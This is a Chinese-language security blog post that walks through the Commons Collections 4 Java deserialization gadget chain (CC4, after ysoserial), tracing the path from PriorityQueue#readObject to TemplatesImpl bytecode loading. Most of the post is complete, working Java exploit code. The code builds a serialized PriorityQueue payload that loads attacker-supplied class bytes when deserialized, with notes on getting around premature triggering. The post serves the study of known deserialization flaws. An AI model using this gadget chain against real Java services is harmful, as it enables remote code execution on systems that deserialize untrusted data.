Java反序列化 CC4链

发布时间 2023-12-06 21:59:43作者: Jasper_sec

参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections4.java
https://www.bilibili.com/video/BV1NQ4y1q7EU

环境搭建

Common Collections4
jdk8u65

利用链分析

看了下ysoserial的exp,其实就是CC3的代码执行+Common.Collections4下调用transform函数
思路可以借鉴CC3:
ClassLoader.defineClass()->TemplatesImpl#defineClass()->TemplatesImpl#defineTransletClasses()->
TemplatesImpl#getTransletInstance()->TemplatesImpl#newTransformer()->TrAXFilter#TrAXFilter()
->InstantiateTransformer#transform()->~~转化为CC1调用xxx.transform() ~~
->Common Collections4下调用xxx.transform
下面给出Common Collections4下调用xxx.transform的链子:
xxx.transform()->TransformingComparator#compare->PriorityQueue#siftDownUsingComparator
->PriorityQueue#siftDown->PriorityQueue#heapify->PriorityQueue#readObject

编写Exp

首先照抄CC3的前半段,把问题转化成调用instantiateTransformer.transform(TrAXFilter.class);

public class TestCC4 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();

        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //触发调用函数
//        templates.newTransformer();
//        new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
       instantiateTransformer.transform(TrAXFilter.class);
}

这条链很简单,不再一步一步分析了,下面给出每个调用需要的传参

traget: chainedTransformer.transform(1);


TransformingComparator#compare
    obj1=xxx
    obj2=xxx
    transformer=chainedTransformer


PriorityQueue#siftDownUsingComparator
    comparator=transformingComparator

PriorityQueue#readObject

最终Exp如下,这里注意需要给size赋值,不然流程走不通,下面有两种方法
其中方法二解决,add会提前调用链条的问题,解决方法也是先设置常量,再反射改回。

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
public class TestCC4 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();

        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //触发调用函数
//        templates.newTransformer();
//        new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(1);
        //方法二修改这里,设置成常量,方法一要改回chainedTransformer
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        //方法一:反射设置size参数保证函数走通
//        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
//        Field priorityQueueField = priorityQueueClass.getDeclaredField("size");
//        priorityQueueField.setAccessible(true);
//        priorityQueueField.set(priorityQueue,2);
        //方法二:队列里加俩元素,保证size值
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
        Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);

       serialize(priorityQueue);
        unserialize();

    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

总结

CC4在CC3代码执行的基础上,提出一个通用的、不依赖CC的PriorityQueue作为入口类,来调用链条